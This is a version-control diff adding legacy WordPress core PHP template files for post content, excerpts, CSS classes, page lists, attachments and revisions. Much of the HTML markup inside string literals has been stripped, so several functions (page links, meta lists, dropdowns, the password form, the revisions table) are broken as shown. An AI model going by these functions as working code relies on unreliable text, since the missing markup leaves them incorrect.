&& ((!$multipage) || ($page==1))) ) + $stripteaser = 1; + $teaser = $content[0]; + if ( ($more) && ($stripteaser) && ($hasTeaser) ) + $teaser = ''; + $output .= $teaser; + if ( count($content) > 1 ) { + if ( $more ) { + $output .= '' . $content[1]; + } else { + if ( ! empty($more_link_text) ) + $output .= apply_filters( 'the_content_more_link', ' $more_link_text", $more_link_text ); + $output = force_balance_tags($output); + } + + } + if ( $preview ) // preview fix for javascript bug with foreign languages + $output = preg_replace_callback('/\%u([0-9A-F]{4})/', create_function('$match', 'return "&#" . base_convert($match[1], 16, 10) . ";";'), $output); + + return $output; +} + +/** + * Display the post excerpt. + * + * @since 0.71 + * @uses apply_filters() Calls 'the_excerpt' hook on post excerpt. + */ +function the_excerpt() { + echo apply_filters('the_excerpt', get_the_excerpt()); +} + +/** + * Retrieve the post excerpt. + * + * @since 0.71 + * + * @param mixed $deprecated Not used. + * @return string + */ +function get_the_excerpt($deprecated = '') { + global $post; + $output = $post->post_excerpt; + if ( post_password_required($post) ) { + $output = __('There is no excerpt because this is a protected post.'); + return $output; + } + + return apply_filters('get_the_excerpt', $output); +} + +/** + * Whether post has excerpt. + * + * @since 2.3.0 + * + * @param int $id Optional. Post ID. + * @return bool + */ +function has_excerpt( $id = 0 ) { + $post = &get_post( $id ); + return ( !empty( $post->post_excerpt ) ); +} + +/** + * Display the classes for the post div. + * + * @since 2.7.0 + * + * @param string|array $class One or more classes to add to the class list. + * @param int $post_id An optional post ID. + */ +function post_class( $class = '', $post_id = null ) { + // Separates classes with a single space, collates classes for post DIV + echo 'class="' . join( ' ', get_post_class( $class, $post_id ) ) . '"'; +} + +/** + * Retrieve the classes for the post div as an array. + * + * The class names are add are many. If the post is a sticky, then the 'sticky' + * class name. The class 'hentry' is always added to each post. For each + * category, the class will be added with 'category-' with category slug is + * added. The tags are the same way as the categories with 'tag-' before the tag + * slug. All classes are passed through the filter, 'post_class' with the list + * of classes, followed by $class parameter value, with the post ID as the last + * parameter. + * + * @since 2.7.0 + * + * @param string|array $class One or more classes to add to the class list. + * @param int $post_id An optional post ID. + * @return array Array of classes. + */ +function get_post_class( $class = '', $post_id = null ) { + $post = get_post($post_id); + + $classes = array(); + + if ( empty($post) ) + return $classes; + + $classes[] = 'post-' . $post->ID; + $classes[] = $post->post_type; + + // sticky for Sticky Posts + if ( is_sticky($post->ID) && is_home()) + $classes[] = 'sticky'; + + // hentry for hAtom compliace + $classes[] = 'hentry'; + + // Categories + foreach ( (array) get_the_category($post->ID) as $cat ) { + if ( empty($cat->slug ) ) + continue; + $classes[] = 'category-' . sanitize_html_class($cat->slug, $cat->cat_ID); + } + + // Tags + foreach ( (array) get_the_tags($post->ID) as $tag ) { + if ( empty($tag->slug ) ) + continue; + $classes[] = 'tag-' . sanitize_html_class($tag->slug, $tag->term_id); + } + + if ( !empty($class) ) { + if ( !is_array( $class ) ) + $class = preg_split('#\s+#', $class); + $classes = array_merge($classes, $class); + } + + $classes = array_map('esc_attr', $classes); + + return apply_filters('post_class', $classes, $class, $post_id); +} + +/** + * Display the classes for the body element. + * + * @since 2.8.0 + * + * @param string|array $class One or more classes to add to the class list. + */ +function body_class( $class = '' ) { + // Separates classes with a single space, collates classes for body element + echo 'class="' . join( ' ', get_body_class( $class ) ) . '"'; +} + +/** + * Retrieve the classes for the body element as an array. + * + * @since 2.8.0 + * + * @param string|array $class One or more classes to add to the class list. + * @return array Array of classes. + */ +function get_body_class( $class = '' ) { + global $wp_query, $wpdb, $current_user; + + $classes = array(); + + if ( 'rtl' == get_bloginfo('text_direction') ) + $classes[] = 'rtl'; + + if ( is_front_page() ) + $classes[] = 'home'; + if ( is_home() ) + $classes[] = 'blog'; + if ( is_archive() ) + $classes[] = 'archive'; + if ( is_date() ) + $classes[] = 'date'; + if ( is_search() ) + $classes[] = 'search'; + if ( is_paged() ) + $classes[] = 'paged'; + if ( is_attachment() ) + $classes[] = 'attachment'; + if ( is_404() ) + $classes[] = 'error404'; + + if ( is_single() ) { + $wp_query->post = $wp_query->posts[0]; + setup_postdata($wp_query->post); + + $postID = $wp_query->post->ID; + $classes[] = 'single postid-' . $postID; + + if ( is_attachment() ) { + $mime_type = get_post_mime_type(); + $mime_prefix = array( 'application/', 'image/', 'text/', 'audio/', 'video/', 'music/' ); + $classes[] = 'attachmentid-' . $postID; + $classes[] = 'attachment-' . str_replace($mime_prefix, '', $mime_type); + } + } elseif ( is_archive() ) { + if ( is_author() ) { + $author = $wp_query->get_queried_object(); + $classes[] = 'author'; + $classes[] = 'author-' . sanitize_html_class($author->user_nicename , $author->ID); + } elseif ( is_category() ) { + $cat = $wp_query->get_queried_object(); + $classes[] = 'category'; + $classes[] = 'category-' . sanitize_html_class($cat->slug, $cat->cat_ID); + } elseif ( is_tag() ) { + $tags = $wp_query->get_queried_object(); + $classes[] = 'tag'; + $classes[] = 'tag-' . sanitize_html_class($tags->slug, $tags->term_id); + } + } elseif ( is_page() ) { + $classes[] = 'page'; + + $wp_query->post = $wp_query->posts[0]; + setup_postdata($wp_query->post); + + $pageID = $wp_query->post->ID; + + $classes[] = 'page-id-' . $pageID; + + if ( $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'page' LIMIT 1", $pageID) ) ) + $classes[] = 'page-parent'; + + if ( $wp_query->post->post_parent ) { + $classes[] = 'page-child'; + $classes[] = 'parent-pageid-' . $wp_query->post->post_parent; + } + if ( is_page_template() ) { + $classes[] = 'page-template'; + $classes[] = 'page-template-' . str_replace( '.php', '-php', get_post_meta( $pageID, '_wp_page_template', true ) ); + } + } elseif ( is_search() ) { + if ( !empty($wp_query->posts) ) + $classes[] = 'search-results'; + else + $classes[] = 'search-no-results'; + } + + if ( is_user_logged_in() ) + $classes[] = 'logged-in'; + + $page = $wp_query->get('page'); + + if ( !$page || $page < 2) + $page = $wp_query->get('paged'); + + if ( $page && $page > 1 ) { + $classes[] = 'paged-' . $page; + + if ( is_single() ) + $classes[] = 'single-paged-' . $page; + elseif ( is_page() ) + $classes[] = 'page-paged-' . $page; + elseif ( is_category() ) + $classes[] = 'category-paged-' . $page; + elseif ( is_tag() ) + $classes[] = 'tag-paged-' . $page; + elseif ( is_date() ) + $classes[] = 'date-paged-' . $page; + elseif ( is_author() ) + $classes[] = 'author-paged-' . $page; + elseif ( is_search() ) + $classes[] = 'search-paged-' . $page; + } + + if ( !empty($class) ) { + if ( !is_array( $class ) ) + $class = preg_split('#\s+#', $class); + $classes = array_merge($classes, $class); + } + + $classes = array_map('esc_attr', $classes); + + return apply_filters('body_class', $classes, $class); +} + +/** + * Whether post requires password and correct password has been provided. + * + * @since 2.7.0 + * + * @param int|object $post An optional post. Global $post used if not provided. + * @return bool false if a password is not required or the correct password cookie is present, true otherwise. + */ +function post_password_required( $post = null ) { + $post = get_post($post); + + if ( empty($post->post_password) ) + return false; + + if ( !isset($_COOKIE['wp-postpass_' . COOKIEHASH]) ) + return true; + + if ( $_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password ) + return true; + + return false; +} + +/** + * Display "sticky" CSS class, if a post is sticky. + * + * @since 2.7.0 + * + * @param int $post_id An optional post ID. + */ +function sticky_class( $post_id = null ) { + if ( !is_sticky($post_id) ) + return; + + echo " sticky"; +} + +/** + * Page Template Functions for usage in Themes + * + * @package WordPress + * @subpackage Template + */ + +/** + * The formatted output of a list of pages. + * + * Displays page links for paginated posts (i.e. includes the . + * Quicktag one or more times). This tag must be within The Loop. + * + * The defaults for overwriting are: + * 'next_or_number' - Default is 'number' (string). Indicates whether page + * numbers should be used. Valid values are number and next. + * 'nextpagelink' - Default is 'Next Page' (string). Text for link to next page. + * of the bookmark. + * 'previouspagelink' - Default is 'Previous Page' (string). Text for link to + * previous page, if available. + * 'pagelink' - Default is '%' (String).Format string for page numbers. The % in + * the parameter string will be replaced with the page number, so Page % + * generates "Page 1", "Page 2", etc. Defaults to %, just the page number. + * 'before' - Default is '

    Pages:' (string). The html or text to prepend to + * each bookmarks. + * 'after' - Default is '

    ' (string). The html or text to append to each + * bookmarks. + * 'link_before' - Default is '' (string). The html or text to prepend to each + * Pages link inside the tag. + * 'link_after' - Default is '' (string). The html or text to append to each + * Pages link inside the tag. + * + * @since 1.2.0 + * @access private + * + * @param string|array $args Optional. Overwrite the defaults. + * @return string Formatted output in HTML. + */ +function wp_link_pages($args = '') { + $defaults = array( + 'before' => '

    ' . __('Pages:'), 'after' => '

    ', + 'link_before' => '', 'link_after' => '', + 'next_or_number' => 'number', 'nextpagelink' => __('Next page'), + 'previouspagelink' => __('Previous page'), 'pagelink' => '%', + 'echo' => 1 + ); + + $r = wp_parse_args( $args, $defaults ); + extract( $r, EXTR_SKIP ); + + global $post, $page, $numpages, $multipage, $more, $pagenow; + + $output = ''; + if ( $multipage ) { + if ( 'number' == $next_or_number ) { + $output .= $before; + for ( $i = 1; $i < ($numpages+1); $i = $i + 1 ) { + $j = str_replace('%',"$i",$pagelink); + $output .= ' '; + if ( ($i != $page) || ((!$more) && ($page==1)) ) { + if ( 1 == $i ) { + $output .= '
    '; + } else { + if ( '' == get_option('permalink_structure') || in_array($post->post_status, array('draft', 'pending')) ) + $output .= ''; + else + $output .= ''; + } + + } + $output .= $link_before; + $output .= $j; + $output .= $link_after; + if ( ($i != $page) || ((!$more) && ($page==1)) ) + $output .= ''; + } + $output .= $after; + } else { + if ( $more ) { + $output .= $before; + $i = $page - 1; + if ( $i && $more ) { + if ( 1 == $i ) { + $output .= '' . $link_before. $previouspagelink . $link_after . ''; + } else { + if ( '' == get_option('permalink_structure') || in_array($post->post_status, array('draft', 'pending')) ) + $output .= '' . $link_before. $previouspagelink . $link_after . ''; + else + $output .= '' . $link_before. $previouspagelink . $link_after . ''; + } + } + $i = $page + 1; + if ( $i <= $numpages && $more ) { + if ( 1 == $i ) { + $output .= '' . $link_before. $nextpagelink . $link_after . ''; + } else { + if ( '' == get_option('permalink_structure') || in_array($post->post_status, array('draft', 'pending')) ) + $output .= '' . $link_before. $nextpagelink . $link_after . ''; + else + $output .= '' . $link_before. $nextpagelink . $link_after . ''; + } + } + $output .= $after; + } + } + } + + if ( $echo ) + echo $output; + + return $output; +} + + +// +// Post-meta: Custom per-post fields. +// + +/** + * Retrieve post custom meta data field. + * + * @since 1.5.0 + * + * @param string $key Meta data key name. + * @return string|array Array of values or single value, if only one element exists. + */ +function post_custom( $key = '' ) { + $custom = get_post_custom(); + + if ( 1 == count($custom[$key]) ) + return $custom[$key][0]; + else + return $custom[$key]; +} + +/** + * Display list of post custom fields. + * + * @internal This will probably change at some point... + * @since 1.2.0 + * @uses apply_filters() Calls 'the_meta_key' on list item HTML content, with key and value as separate parameters. + */ +function the_meta() { + if ( $keys = get_post_custom_keys() ) { + echo "\n"; + } +} + +// +// Pages +// + +/** + * Retrieve or display list of pages as a dropdown (select list). + * + * @since 2.1.0 + * + * @param array|string $args Optional. Override default arguments. + * @return string HTML content, if not displaying. + */ +function wp_dropdown_pages($args = '') { + $defaults = array( + 'depth' => 0, 'child_of' => 0, + 'selected' => 0, 'echo' => 1, + 'name' => 'page_id', 'show_option_none' => '', 'show_option_no_change' => '', + 'option_none_value' => '' + ); + + $r = wp_parse_args( $args, $defaults ); + extract( $r, EXTR_SKIP ); + + $pages = get_pages($r); + $output = ''; + $name = esc_attr($name); + + if ( ! empty($pages) ) { + $output = "\n"; + } + + $output = apply_filters('wp_dropdown_pages', $output); + + if ( $echo ) + echo $output; + + return $output; +} + +/** + * Retrieve or display list of pages in list (li) format. + * + * @since 1.5.0 + * + * @param array|string $args Optional. Override default arguments. + * @return string HTML content, if not displaying. + */ +function wp_list_pages($args = '') { + $defaults = array( + 'depth' => 0, 'show_date' => '', + 'date_format' => get_option('date_format'), + 'child_of' => 0, 'exclude' => '', + 'title_li' => __('Pages'), 'echo' => 1, + 'authors' => '', 'sort_column' => 'menu_order, post_title', + 'link_before' => '', 'link_after' => '', 'walker' => '', + ); + + $r = wp_parse_args( $args, $defaults ); + extract( $r, EXTR_SKIP ); + + $output = ''; + $current_page = 0; + + // sanitize, mostly to keep spaces out + $r['exclude'] = preg_replace('/[^0-9,]/', '', $r['exclude']); + + // Allow plugins to filter an array of excluded pages (but don't put a nullstring into the array) + $exclude_array = ( $r['exclude'] ) ? explode(',', $r['exclude']) : array(); + $r['exclude'] = implode( ',', apply_filters('wp_list_pages_excludes', $exclude_array) ); + + // Query pages. + $r['hierarchical'] = 0; + $pages = get_pages($r); + + if ( !empty($pages) ) { + if ( $r['title_li'] ) + $output .= ''; + } + + $output = apply_filters('wp_list_pages', $output, $r); + + if ( $r['echo'] ) + echo $output; + else + return $output; +} + +/** + * Display or retrieve list of pages with optional home link. + * + * The arguments are listed below and part of the arguments are for {@link + * wp_list_pages()} function. Check that function for more info on those + * arguments. + * + *
      + *
    • sort_column - How to sort the list of pages. Defaults + * to page title. Use column for posts table.
    • + *
    • menu_class - Class to use for the div ID which contains + * the page list. Defaults to 'menu'.
    • + *
    • echo - Whether to echo list or return it. Defaults to + * echo.
    • + *
    • link_before - Text before show_home argument text.
    • + *
    • link_after - Text after show_home argument text.
    • + *
    • show_home - If you set this argument, then it will + * display the link to the home page. The show_home argument really just needs + * to be set to the value of the text of the link.
    • + *
    + * + * @since 2.7.0 + * + * @param array|string $args + */ +function wp_page_menu( $args = array() ) { + $defaults = array('sort_column' => 'menu_order, post_title', 'menu_class' => 'menu', 'echo' => true, 'link_before' => '', 'link_after' => ''); + $args = wp_parse_args( $args, $defaults ); + $args = apply_filters( 'wp_page_menu_args', $args ); + + $menu = ''; + + $list_args = $args; + + // Show Home in the menu + if ( isset($args['show_home']) && ! empty($args['show_home']) ) { + if ( true === $args['show_home'] || '1' === $args['show_home'] || 1 === $args['show_home'] ) + $text = __('Home'); + else + $text = $args['show_home']; + $class = ''; + if ( is_front_page() && !is_paged() ) + $class = 'class="current_page_item"'; + $menu .= '
  • ' . $args['link_before'] . $text . $args['link_after'] . '
  • '; + // If the front page is a page, add it to the exclude list + if (get_option('show_on_front') == 'page') { + if ( !empty( $list_args['exclude'] ) ) { + $list_args['exclude'] .= ','; + } else { + $list_args['exclude'] = ''; + } + $list_args['exclude'] .= get_option('page_on_front'); + } + } + + $list_args['echo'] = false; + $list_args['title_li'] = ''; + $menu .= str_replace( array( "\r", "\n", "\t" ), '', wp_list_pages($list_args) ); + + if ( $menu ) + $menu = '
      ' . $menu . '
    '; + + $menu = '
    ' . $menu . "
    \n"; + $menu = apply_filters( 'wp_page_menu', $menu, $args ); + if ( $args['echo'] ) + echo $menu; + else + return $menu; +} + +// +// Page helpers +// + +/** + * Retrieve HTML list content for page list. + * + * @uses Walker_Page to create HTML list content. + * @since 2.1.0 + * @see Walker_Page::walk() for parameters and return description. + */ +function walk_page_tree($pages, $depth, $current_page, $r) { + if ( empty($r['walker']) ) + $walker = new Walker_Page; + else + $walker = $r['walker']; + + $args = array($pages, $depth, $r, $current_page); + return call_user_func_array(array(&$walker, 'walk'), $args); +} + +/** + * Retrieve HTML dropdown (select) content for page list. + * + * @uses Walker_PageDropdown to create HTML dropdown content. + * @since 2.1.0 + * @see Walker_PageDropdown::walk() for parameters and return description. + */ +function walk_page_dropdown_tree() { + $args = func_get_args(); + if ( empty($args[2]['walker']) ) // the user's options are the third parameter + $walker = new Walker_PageDropdown; + else + $walker = $args[2]['walker']; + + return call_user_func_array(array(&$walker, 'walk'), $args); +} + +// +// Attachments +// + +/** + * Display an attachment page link using an image or icon. + * + * @since 2.0.0 + * + * @param int $id Optional. Post ID. + * @param bool $fullsize Optional, default is false. Whether to use full size. + * @param bool $deprecated Deprecated. Not used. + * @param bool $permalink Optional, default is false. Whether to include permalink. + */ +function the_attachment_link($id = 0, $fullsize = false, $deprecated = false, $permalink = false) { + if ( $fullsize ) + echo wp_get_attachment_link($id, 'full', $permalink); + else + echo wp_get_attachment_link($id, 'thumbnail', $permalink); +} + +/** + * Retrieve an attachment page link using an image or icon, if possible. + * + * @since 2.5.0 + * @uses apply_filters() Calls 'wp_get_attachment_link' filter on HTML content with same parameters as function. + * + * @param int $id Optional. Post ID. + * @param string $size Optional, default is 'thumbnail'. Size of image, either array or string. + * @param bool $permalink Optional, default is false. Whether to add permalink to image. + * @param bool $icon Optional, default is false. Whether to include icon. + * @param string $text Optional, default is false. If string, then will be link text. + * @return string HTML content. + */ +function wp_get_attachment_link($id = 0, $size = 'thumbnail', $permalink = false, $icon = false, $text = false) { + $id = intval($id); + $_post = & get_post( $id ); + + if ( ('attachment' != $_post->post_type) || !$url = wp_get_attachment_url($_post->ID) ) + return __('Missing Attachment'); + + if ( $permalink ) + $url = get_attachment_link($_post->ID); + + $post_title = esc_attr($_post->post_title); + + if ( $text ) { + $link_text = esc_attr($text); + } elseif ( ( is_int($size) && $size != 0 ) or ( is_string($size) && $size != 'none' ) or $size != false ) { + $link_text = wp_get_attachment_image($id, $size, $icon); + } + + if( trim($link_text) == '' ) + $link_text = $_post->post_title; + + return apply_filters( 'wp_get_attachment_link', "$link_text", $id, $size, $permalink, $icon, $text ); +} + +/** + * Retrieve HTML content of attachment image with link. + * + * @since 2.0.0 + * @deprecated Use {@link wp_get_attachment_link()} + * @see wp_get_attachment_link() Use instead. + * + * @param int $id Optional. Post ID. + * @param bool $fullsize Optional, default is false. Whether to use full size image. + * @param array $max_dims Optional. Max image dimensions. + * @param bool $permalink Optional, default is false. Whether to include permalink to image. + * @return string + */ +function get_the_attachment_link($id = 0, $fullsize = false, $max_dims = false, $permalink = false) { + $id = (int) $id; + $_post = & get_post($id); + + if ( ('attachment' != $_post->post_type) || !$url = wp_get_attachment_url($_post->ID) ) + return __('Missing Attachment'); + + if ( $permalink ) + $url = get_attachment_link($_post->ID); + + $post_title = esc_attr($_post->post_title); + + $innerHTML = get_attachment_innerHTML($_post->ID, $fullsize, $max_dims); + return "$innerHTML"; +} + +/** + * Retrieve icon URL and Path. + * + * @since 2.1.0 + * @deprecated Use {@link wp_get_attachment_image_src()} + * @see wp_get_attachment_image_src() Use instead. + * + * @param int $id Optional. Post ID. + * @param bool $fullsize Optional, default to false. Whether to have full image. + * @return array Icon URL and full path to file, respectively. + */ +function get_attachment_icon_src( $id = 0, $fullsize = false ) { + $id = (int) $id; + if ( !$post = & get_post($id) ) + return false; + + $file = get_attached_file( $post->ID ); + + if ( !$fullsize && $src = wp_get_attachment_thumb_url( $post->ID ) ) { + // We have a thumbnail desired, specified and existing + + $src_file = basename($src); + $class = 'attachmentthumb'; + } elseif ( wp_attachment_is_image( $post->ID ) ) { + // We have an image without a thumbnail + + $src = wp_get_attachment_url( $post->ID ); + $src_file = & $file; + $class = 'attachmentimage'; + } elseif ( $src = wp_mime_type_icon( $post->ID ) ) { + // No thumb, no image. We'll look for a mime-related icon instead. + + $icon_dir = apply_filters( 'icon_dir', get_template_directory() . '/images' ); + $src_file = $icon_dir . '/' . basename($src); + } + + if ( !isset($src) || !$src ) + return false; + + return array($src, $src_file); +} + +/** + * Retrieve HTML content of icon attachment image element. + * + * @since 2.0.0 + * @deprecated Use {@link wp_get_attachment_image()} + * @see wp_get_attachment_image() Use instead of. + * + * @param int $id Optional. Post ID. + * @param bool $fullsize Optional, default to false. Whether to have full size image. + * @param array $max_dims Optional. Dimensions of image. + * @return string HTML content. + */ +function get_attachment_icon( $id = 0, $fullsize = false, $max_dims = false ) { + $id = (int) $id; + if ( !$post = & get_post($id) ) + return false; + + if ( !$src = get_attachment_icon_src( $post->ID, $fullsize ) ) + return false; + + list($src, $src_file) = $src; + + // Do we need to constrain the image? + if ( ($max_dims = apply_filters('attachment_max_dims', $max_dims)) && file_exists($src_file) ) { + + $imagesize = getimagesize($src_file); + + if (($imagesize[0] > $max_dims[0]) || $imagesize[1] > $max_dims[1] ) { + $actual_aspect = $imagesize[0] / $imagesize[1]; + $desired_aspect = $max_dims[0] / $max_dims[1]; + + if ( $actual_aspect >= $desired_aspect ) { + $height = $actual_aspect * $max_dims[0]; + $constraint = "width='{$max_dims[0]}' "; + $post->iconsize = array($max_dims[0], $height); + } else { + $width = $max_dims[1] / $actual_aspect; + $constraint = "height='{$max_dims[1]}' "; + $post->iconsize = array($width, $max_dims[1]); + } + } else { + $post->iconsize = array($imagesize[0], $imagesize[1]); + $constraint = ''; + } + } else { + $constraint = ''; + } + + $post_title = esc_attr($post->post_title); + + $icon = "$post_title"; + + return apply_filters( 'attachment_icon', $icon, $post->ID ); +} + +/** + * Retrieve HTML content of image element. + * + * @since 2.0.0 + * @deprecated Use {@link wp_get_attachment_image()} + * @see wp_get_attachment_image() Use instead. + * + * @param int $id Optional. Post ID. + * @param bool $fullsize Optional, default to false. Whether to have full size image. + * @param array $max_dims Optional. Dimensions of image. + * @return string + */ +function get_attachment_innerHTML($id = 0, $fullsize = false, $max_dims = false) { + $id = (int) $id; + if ( !$post = & get_post($id) ) + return false; + + if ( $innerHTML = get_attachment_icon($post->ID, $fullsize, $max_dims)) + return $innerHTML; + + + $innerHTML = esc_attr($post->post_title); + + return apply_filters('attachment_innerHTML', $innerHTML, $post->ID); +} + +/** + * Wrap attachment in <

    > element before content. + * + * @since 2.0.0 + * @uses apply_filters() Calls 'prepend_attachment' hook on HTML content. + * + * @param string $content + * @return string + */ +function prepend_attachment($content) { + global $post; + + if ( empty($post->post_type) || $post->post_type != 'attachment' ) + return $content; + + $p = '

    '; + // show the medium sized image representation of the attachment if available, and link to the raw file + $p .= wp_get_attachment_link(0, 'medium', false); + $p .= '

    '; + $p = apply_filters('prepend_attachment', $p); + + return "$p\n$content"; +} + +// +// Misc +// + +/** + * Retrieve protected post password form content. + * + * @since 1.0.0 + * @uses apply_filters() Calls 'the_password_form' filter on output. + * + * @return string HTML content for password form for password protected post. + */ +function get_the_password_form() { + global $post; + $label = 'pwbox-'.(empty($post->ID) ? rand() : $post->ID); + $output = '
    +

    ' . __("This post is password protected. To view it please enter your password below:") . '

    +

    +
    + '; + return apply_filters('the_password_form', $output); +} + +/** + * Whether currently in a page template. + * + * This template tag allows you to determine whether or not you are in a page + * template. You can optional provide a template name and then the check will be + * specific to that template. + * + * @since 2.5.0 + * @uses $wp_query + * + * @param string $template The specific template name if specific matching is required. + * @return bool False on failure, true if success. + */ +function is_page_template($template = '') { + if (!is_page()) { + return false; + } + + global $wp_query; + + $page = $wp_query->get_queried_object(); + $custom_fields = get_post_custom_values('_wp_page_template',$page->ID); + $page_template = $custom_fields[0]; + + // We have no argument passed so just see if a page_template has been specified + if ( empty( $template ) ) { + if (!empty( $page_template ) ) { + return true; + } + } elseif ( $template == $page_template) { + return true; + } + + return false; +} + +/** + * Retrieve formatted date timestamp of a revision (linked to that revisions's page). + * + * @package WordPress + * @subpackage Post_Revisions + * @since 2.6.0 + * + * @uses date_i18n() + * + * @param int|object $revision Revision ID or revision object. + * @param bool $link Optional, default is true. Link to revisions's page? + * @return string i18n formatted datetimestamp or localized 'Current Revision'. + */ +function wp_post_revision_title( $revision, $link = true ) { + if ( !$revision = get_post( $revision ) ) + return $revision; + + if ( !in_array( $revision->post_type, array( 'post', 'page', 'revision' ) ) ) + return false; + + /* translators: revision date format, see http://php.net/date */ + $datef = _x( 'j F, Y @ G:i', 'revision date format'); + /* translators: 1: date */ + $autosavef = __( '%1$s [Autosave]' ); + /* translators: 1: date */ + $currentf = __( '%1$s [Current Revision]' ); + + $date = date_i18n( $datef, strtotime( $revision->post_modified_gmt . ' +0000' ) ); + if ( $link && current_user_can( 'edit_post', $revision->ID ) && $link = get_edit_post_link( $revision->ID ) ) + $date = "$date"; + + if ( !wp_is_post_revision( $revision ) ) + $date = sprintf( $currentf, $date ); + elseif ( wp_is_post_autosave( $revision ) ) + $date = sprintf( $autosavef, $date ); + + return $date; +} + +/** + * Display list of a post's revisions. + * + * Can output either a UL with edit links or a TABLE with diff interface, and + * restore action links. + * + * Second argument controls parameters: + * (bool) parent : include the parent (the "Current Revision") in the list. + * (string) format : 'list' or 'form-table'. 'list' outputs UL, 'form-table' + * outputs TABLE with UI. + * (int) right : what revision is currently being viewed - used in + * form-table format. + * (int) left : what revision is currently being diffed against right - + * used in form-table format. + * + * @package WordPress + * @subpackage Post_Revisions + * @since 2.6.0 + * + * @uses wp_get_post_revisions() + * @uses wp_post_revision_title() + * @uses get_edit_post_link() + * @uses get_the_author_meta() + * + * @todo split into two functions (list, form-table) ? + * + * @param int|object $post_id Post ID or post object. + * @param string|array $args See description {@link wp_parse_args()}. + * @return null + */ +function wp_list_post_revisions( $post_id = 0, $args = null ) { + if ( !$post = get_post( $post_id ) ) + return; + + $defaults = array( 'parent' => false, 'right' => false, 'left' => false, 'format' => 'list', 'type' => 'all' ); + extract( wp_parse_args( $args, $defaults ), EXTR_SKIP ); + + switch ( $type ) { + case 'autosave' : + if ( !$autosave = wp_get_post_autosave( $post->ID ) ) + return; + $revisions = array( $autosave ); + break; + case 'revision' : // just revisions - remove autosave later + case 'all' : + default : + if ( !$revisions = wp_get_post_revisions( $post->ID ) ) + return; + break; + } + + /* translators: post revision: 1: when, 2: author name */ + $titlef = _x( '%1$s by %2$s', 'post revision' ); + + if ( $parent ) + array_unshift( $revisions, $post ); + + $rows = ''; + $class = false; + $can_edit_post = current_user_can( 'edit_post', $post->ID ); + foreach ( $revisions as $revision ) { + if ( !current_user_can( 'read_post', $revision->ID ) ) + continue; + if ( 'revision' === $type && wp_is_post_autosave( $revision ) ) + continue; + + $date = wp_post_revision_title( $revision ); + $name = get_the_author_meta( 'display_name', $revision->post_author ); + + if ( 'form-table' == $format ) { + if ( $left ) + $left_checked = $left == $revision->ID ? ' checked="checked"' : ''; + else + $left_checked = $right_checked ? ' checked="checked"' : ''; // [sic] (the next one) + $right_checked = $right == $revision->ID ? ' checked="checked"' : ''; + + $class = $class ? '' : " class='alternate'"; + + if ( $post->ID != $revision->ID && $can_edit_post ) + $actions = 'ID|$revision->ID" ) . '">' . __( 'Restore' ) . ''; + else + $actions = ''; + + $rows .= "\n"; + $rows .= "\t\n"; + $rows .= "\t$date\n"; + $rows .= "\t$name\n"; + $rows .= "\t$actions\n"; + $rows .= "\n"; + } else { + $title = sprintf( $titlef, $date, $name ); + $rows .= "\t
  • $title
  • \n"; + } + } + + if ( 'form-table' == $format ) : ?> + +
    + +
    +
    + + +
    +
    + +
    + + + + + + + + + + + + + + + + + + + +
    + +
    + +\n"; + echo $rows; + echo ""; + endif; + +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/post-thumbnail-template.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/post-thumbnail-template.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,76 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/post.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/post.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,4036 @@ + false) ); + register_post_type( 'page', array('exclude_from_search' => false) ); + register_post_type( 'attachment', array('exclude_from_search' => false) ); + register_post_type( 'revision', array('exclude_from_search' => true) ); +} +add_action( 'init', 'create_initial_post_types', 0 ); // highest priority + +/** + * Retrieve attached file path based on attachment ID. + * + * You can optionally send it through the 'get_attached_file' filter, but by + * default it will just return the file path unfiltered. + * + * The function works by getting the single post meta name, named + * '_wp_attached_file' and returning it. This is a convenience function to + * prevent looking up the meta name and provide a mechanism for sending the + * attached filename through a filter. + * + * @since 2.0.0 + * @uses apply_filters() Calls 'get_attached_file' on file path and attachment ID. + * + * @param int $attachment_id Attachment ID. + * @param bool $unfiltered Whether to apply filters or not. + * @return string The file path to the attached file. + */ +function get_attached_file( $attachment_id, $unfiltered = false ) { + $file = get_post_meta( $attachment_id, '_wp_attached_file', true ); + // If the file is relative, prepend upload dir + if ( 0 !== strpos($file, '/') && !preg_match('|^.:\\\|', $file) && ( ($uploads = wp_upload_dir()) && false === $uploads['error'] ) ) + $file = $uploads['basedir'] . "/$file"; + if ( $unfiltered ) + return $file; + return apply_filters( 'get_attached_file', $file, $attachment_id ); +} + +/** + * Update attachment file path based on attachment ID. + * + * Used to update the file path of the attachment, which uses post meta name + * '_wp_attached_file' to store the path of the attachment. + * + * @since 2.1.0 + * @uses apply_filters() Calls 'update_attached_file' on file path and attachment ID. + * + * @param int $attachment_id Attachment ID + * @param string $file File path for the attachment + * @return bool False on failure, true on success. + */ +function update_attached_file( $attachment_id, $file ) { + if ( !get_post( $attachment_id ) ) + return false; + + $file = apply_filters( 'update_attached_file', $file, $attachment_id ); + $file = _wp_relative_upload_path($file); + + return update_post_meta( $attachment_id, '_wp_attached_file', $file ); +} + +/** + * Return relative path to an uploaded file. + * + * The path is relative to the current upload dir. + * + * @since 2.9 + * @uses apply_filters() Calls '_wp_relative_upload_path' on file path. + * + * @param string $path Full path to the file + * @return string relative path on success, unchanged path on failure. + */ +function _wp_relative_upload_path( $path ) { + $new_path = $path; + + if ( ($uploads = wp_upload_dir()) && false === $uploads['error'] ) { + if ( 0 === strpos($new_path, $uploads['basedir']) ) { + $new_path = str_replace($uploads['basedir'], '', $new_path); + $new_path = ltrim($new_path, '/'); + } + } + + return apply_filters( '_wp_relative_upload_path', $new_path, $path ); +} + +/** + * Retrieve all children of the post parent ID. + * + * Normally, without any enhancements, the children would apply to pages. In the + * context of the inner workings of WordPress, pages, posts, and attachments + * share the same table, so therefore the functionality could apply to any one + * of them. It is then noted that while this function does not work on posts, it + * does not mean that it won't work on posts. It is recommended that you know + * what context you wish to retrieve the children of. + * + * Attachments may also be made the child of a post, so if that is an accurate + * statement (which needs to be verified), it would then be possible to get + * all of the attachments for a post. Attachments have since changed since + * version 2.5, so this is most likely unaccurate, but serves 